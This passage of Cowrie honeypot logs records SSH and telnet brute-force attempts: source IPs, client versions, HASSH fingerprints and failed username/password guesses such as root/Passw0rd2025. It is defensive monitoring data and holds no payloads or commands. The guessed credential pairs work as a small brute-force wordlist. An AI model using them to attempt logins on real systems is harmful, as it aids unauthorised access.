ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:41.291996Z","src_ip":"186.148.224.183","session":"5febd1617c95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:41.922625Z","src_ip":"186.148.224.183","session":"5febd1617c95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:43.076992Z","src_ip":"186.148.224.183","session":"5febd1617c95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":45266,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4e856b7f154","protocol":"ssh","message":"New connection: 94.159.98.239:45266 (10.17.0.5:22) [session: a4e856b7f154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:45.874664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:45.957984Z","src_ip":"94.159.98.239","session":"a4e856b7f154","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:46.089159Z","src_ip":"94.159.98.239","session":"a4e856b7f154","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vortex","message":"login attempt [root/vortex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:46.746074Z","src_ip":"94.159.98.239","session":"a4e856b7f154","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.241.42","src_port":53800,"dst_ip":"159.203.135.109","dst_port":22,"session":"b09683d40a14","protocol":"ssh","message":"New connection: 103.154.241.42:53800 (159.203.135.109:22) [session: b09683d40a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:46.814064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:46.819932Z","src_ip":"103.154.241.42","session":"b09683d40a14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":54354,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e1f1771bfd2","protocol":"ssh","message":"New connection: 103.98.149.87:54354 (159.203.135.109:22) [session: 7e1f1771bfd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:46.906279Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:47.069115Z","src_ip":"103.154.241.42","session":"b09683d40a14","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:47.189795Z","src_ip":"103.98.149.87","session":"7e1f1771bfd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:47.195162Z","src_ip":"103.98.149.87","session":"7e1f1771bfd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:47.967691Z","src_ip":"94.159.98.239","session":"a4e856b7f154","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd2025","message":"login attempt [root/Passw0rd2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:48.094049Z","src_ip":"103.154.241.42","session":"b09683d40a14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:49.346245Z","src_ip":"103.154.241.42","session":"b09683d40a14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0023865699768,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:50.180228Z","src_ip":"79.139.59.21","session":"6622f27352d8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"atlant","message":"login attempt [root/atlant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:51.138253Z","src_ip":"103.98.149.87","session":"7e1f1771bfd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.77.48","src_port":43924,"dst_ip":"159.203.135.109","dst_port":22,"session":"891af3d9dd14","protocol":"ssh","message":"New connection: 103.154.77.48:43924 (159.203.135.109:22) [session: 891af3d9dd14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:52.182152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:52.187884Z","src_ip":"103.154.77.48","session":"891af3d9dd14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:52.434349Z","src_ip":"103.154.77.48","session":"891af3d9dd14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:52.545145Z","src_ip":"103.98.149.87","session":"7e1f1771bfd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmodserver","password":"gmod","message":"login attempt [gmodserver/gmod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:53.433529Z","src_ip":"103.154.77.48","session":"891af3d9dd14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:54.678915Z","src_ip":"103.154.77.48","session":"891af3d9dd14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.223.60.209","src_port":35410,"dst_ip":"10.17.0.5","dst_port":22,"session":"efb51b4224a0","protocol":"ssh","message":"New connection: 190.223.60.209:35410 (10.17.0.5:22) [session: efb51b4224a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:58.978970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:58.983522Z","src_ip":"190.223.60.209","session":"efb51b4224a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:59.108531Z","src_ip":"190.223.60.209","session":"efb51b4224a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"testtesttest","message":"login attempt [user/testtesttest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:21:59.645831Z","src_ip":"190.223.60.209","session":"efb51b4224a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:00.775366Z","src_ip":"190.223.60.209","session":"efb51b4224a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":36662,"dst_ip":"10.17.0.5","dst_port":22,"session":"76eec3ac65c8","protocol":"ssh","message":"New connection: 103.172.78.219:36662 (10.17.0.5:22) [session: 76eec3ac65c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:13.656743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:13.662034Z","src_ip":"103.172.78.219","session":"76eec3ac65c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:13.922320Z","src_ip":"103.172.78.219","session":"76eec3ac65c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lolololo","message":"login attempt [root/lolololo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:14.694990Z","src_ip":"103.172.78.219","session":"76eec3ac65c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:15.954396Z","src_ip":"103.172.78.219","session":"76eec3ac65c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":25202,"dst_ip":"159.203.135.109","dst_port":22,"session":"20592fca7cc9","protocol":"ssh","message":"New connection: 194.59.206.2:25202 (159.203.135.109:22) [session: 20592fca7cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:22.395666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:22.401417Z","src_ip":"194.59.206.2","session":"20592fca7cc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:22.490191Z","src_ip":"194.59.206.2","session":"20592fca7cc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:22.690114Z","src_ip":"194.59.206.2","session":"20592fca7cc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":33350,"dst_ip":"159.203.135.109","dst_port":22,"session":"d89c3e978726","protocol":"ssh","message":"New connection: 103.27.238.114:33350 (159.203.135.109:22) [session: d89c3e978726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:27.033760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:27.038410Z","src_ip":"103.27.238.114","session":"d89c3e978726","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:27.320113Z","src_ip":"103.27.238.114","session":"d89c3e978726","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"west","message":"login attempt [root/west] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:28.165391Z","src_ip":"103.27.238.114","session":"d89c3e978726","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.76.170.111","src_port":34272,"dst_ip":"10.17.0.5","dst_port":22,"session":"13c133d64f69","protocol":"ssh","message":"New connection: 180.76.170.111:34272 (10.17.0.5:22) [session: 13c133d64f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:28.286545Z"}
